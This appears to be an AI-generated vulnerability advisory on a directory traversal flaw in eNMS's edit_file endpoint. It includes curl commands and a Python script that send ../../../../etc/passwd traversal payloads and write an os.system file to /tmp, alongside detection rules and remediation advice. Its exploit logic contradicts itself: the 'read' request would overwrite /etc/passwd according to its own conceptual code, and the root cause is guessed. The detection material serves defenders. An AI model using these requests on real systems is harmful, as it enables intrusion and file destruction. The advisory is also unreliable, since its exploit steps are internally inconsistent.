CVE-2024-46644

Executive Summary

CVE-2024-46644 identifies a critical Directory Traversal vulnerability in eNMS versions 4.4.0 through 4.7.1. The flaw resides in the edit_file functionality, allowing an authenticated attacker to read, modify, or delete arbitrary files on the server filesystem. This can lead to full system compromise, data exfiltration, and potential lateral movement within the network. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the nature of eNMS as a network management system, exploitation could expose sensitive network configurations, credentials, and operational data.

Supply Chain & Package Security

eNMS is a Python-based application. The vulnerability is in the application code itself, not in a third-party package. However, the lack of a patch means that any organization using eNMS is at risk. The supply chain risk is elevated because the vendor has not provided a fix, forcing organizations to rely on workarounds or custom patches.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description and typical Directory Traversal impacts, a reasonable CVSS v3.1 score would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) - requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Score: 8.8 (High)

Threat Level: High. The vulnerability allows arbitrary file access, which can lead to credential theft, configuration disclosure, and remote code execution if combined with other flaws.

Deep Dive & Mechanics

The vulnerability is a classic Directory Traversal (Path Traversal) flaw in the edit_file endpoint of eNMS. The application fails to properly sanitize user-supplied input for file paths. An attacker can inject ../ sequences to navigate outside the intended directory and access or modify any file the web server process has permissions to.

Root Cause: The edit_file function likely constructs a file path by concatenating a base directory with user input without validating that the resulting path is within the allowed directory.

Attack Vector: An authenticated attacker sends a crafted HTTP request to the edit_file endpoint with a path parameter containing traversal sequences.

Example Request:

POST /edit_file HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid_session

path=../../../../etc/passwd&content=test

Impact:

• Read sensitive files (e.g., /etc/passwd, configuration files, SSH keys)
• Modify application files to inject malicious code
• Delete critical system files (if write permissions allow)

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

@app.route('/edit_file', methods=['POST'])
def edit_file():
    path = request.form['path']
    full_path = os.path.join(BASE_DIR, path)
    with open(full_path, 'w') as f:
        f.write(request.form['content'])
    return 'File saved'

Patched Code (Conceptual):

import os

@app.route('/edit_file', methods=['POST'])
def edit_file():
    path = request.form['path']
    # Sanitize: resolve and check if within allowed directory
    full_path = os.path.realpath(os.path.join(BASE_DIR, path))
    if not full_path.startswith(os.path.realpath(BASE_DIR)):
        return 'Invalid path', 403
    with open(full_path, 'w') as f:
        f.write(request.form['content'])
    return 'File saved'

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for eNMS (any user role)
• Network access to the eNMS web interface

Exploitation Steps:

1. Authenticate to eNMS and obtain a session cookie.
2. Craft a request to read /etc/passwd:

   curl -X POST 'http://target/edit_file' \
     -H 'Cookie: session=valid_session' \
     -d 'path=../../../../etc/passwd&content='
   

3. Read the response - the file content will be returned.
4. Write a malicious file (e.g., a Python script) to achieve RCE:

   curl -X POST 'http://target/edit_file' \
     -H 'Cookie: session=valid_session' \
     -d 'path=../../../../tmp/evil.py&content=import os; os.system("id")'
   

Automated Exploit (Python):

import requests

target = "http://target"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Read /etc/passwd
payload = {"path": "../../../../etc/passwd", "content": ""}
r = session.post(f"{target}/edit_file", data=payload)
print(r.text)

Blue Team

Detection:

• Monitor for HTTP POST requests to /edit_file with path parameters containing ../ or ..\.
• Alert on file access outside the application's base directory.
• Use file integrity monitoring (FIM) on critical system files.

Prevention:

• Implement strict input validation and path canonicalization.
• Run the web application with minimal file system permissions.
• Use a Web Application Firewall (WAF) to block traversal patterns.

Hunting:

• Search logs for edit_file requests with suspicious paths.
• Check for unexpected file modifications in the application directory.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /edit_file with path containing ../
  • Unusual outbound connections from the eNMS server
• File System:
  • Unexpected files in /tmp/ or other world-writable directories
  • Modified application files (e.g., Python scripts, templates)
• Logs:
  • Web server logs showing edit_file requests with traversal patterns
  • System logs showing file access outside normal bounds

Example Log Entry:

192.168.1.100 - - [10/Sep/2024:12:34:56 +0000] "POST /edit_file HTTP/1.1" 200 1234 "-" "curl/7.68.0"

Detection Engineering

YARA Rule

rule CVE_2024_46644_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in eNMS edit_file requests"
        author = "Valters IT"
        date = "2024-09-10"
        cve = "CVE-2024-46644"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint = "/edit_file"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-46644 eNMS Directory Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts against eNMS edit_file endpoint
author: Valters IT
date: 2024/09/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/edit_file'
        cs-uri-query|contains: 'path='
    keywords:
        - '..%2f'
        - '..%5c'
        - '%2e%2e%2f'
        - '%2e%2e/'
        - '../'
        - '..\\'
    condition: selection and keywords
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46644 eNMS Directory Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/edit_file"; http_uri; content:"path="; http_client_body; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\/)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the edit_file functionality if not essential, by removing or commenting out the route in the application code.
2. Apply a virtual patch using a WAF to block requests containing ../ or ..\ in the path parameter.
3. Restrict file system permissions so the web server user cannot write to sensitive directories.

Long-term Fix:

• The vendor must release a patched version that implements proper input validation and path canonicalization.
• Until then, consider migrating to an alternative network management solution.

Workaround:

• Modify the application code to use os.path.realpath() and verify the resolved path starts with the allowed base directory.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.